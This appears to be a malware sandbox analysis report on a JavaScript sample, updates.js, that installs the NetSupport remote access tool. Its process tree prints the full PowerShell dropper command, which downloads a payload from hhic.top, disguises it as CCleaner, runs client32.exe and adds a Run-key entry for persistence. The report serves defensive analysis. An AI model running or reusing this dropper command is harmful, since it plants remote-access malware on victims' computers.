Analysis
- max time kernel
132s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
26/07/2024, 20:11
General
- Target updates.js
- Size 2.7MB
- Sample240726-yyb1savfkh
- SHA256 b36668956d6f6f8f789d39130d8b45f6794ec91b9a6b895512af6f88181a1f81
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://hhic.top/data.php?11163
-
exe.dropper
http://hhic.top/data.php?11163
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $WYTHVQSDZ='http://hhic.top/data.php?11163';$DOUVB=(New-Object System.Net.WebClient).DownloadString($WYTHVQSDZ);$CFBBFY=[System.Convert]::FromBase64String($DOUVB);$asd = Get-Random -Minimum -10 -Maximum 17; $WGYZUKPIEE=[System.Environment]::GetFolderPath('ApplicationData')+'\CPALDR'+$asd;if (!(Test-Path $WGYZUKPIEE -PathType Container)) { New-Item -Path $WGYZUKPIEE -ItemType Directory };$p=Join-Path $WGYZUKPIEE 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$CFBBFY);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WGYZUKPIEE)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $WGYZUKPIEE 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $WGYZUKPIEE -Force; $fd.attributes='Hidden';$s=$WGYZUKPIEE+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HPRKEQMGKMK';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\CPALDR16\client32.exe"C:\Users\Admin\AppData\Roaming\CPALDR16\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_inklx2ai.kcv.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
memory/2668-15-0x000001A9D3130000-0x000001A9D3142000-memory.dmp
memory/2668-14-0x000001A9D3100000-0x000001A9D310A000-memory.dmp
memory/2668-12-0x00007FF832D30000-0x00007FF8337F1000-memory.dmp
memory/2668-0-0x00007FF832D33000-0x00007FF832D35000-memory.dmp
memory/2668-11-0x00007FF832D30000-0x00007FF8337F1000-memory.dmp
memory/2668-1-0x000001A9D2DD0000-0x000001A9D2DF2000-memory.dmp
memory/2668-96-0x00007FF832D30000-0x00007FF8337F1000-memory.dmp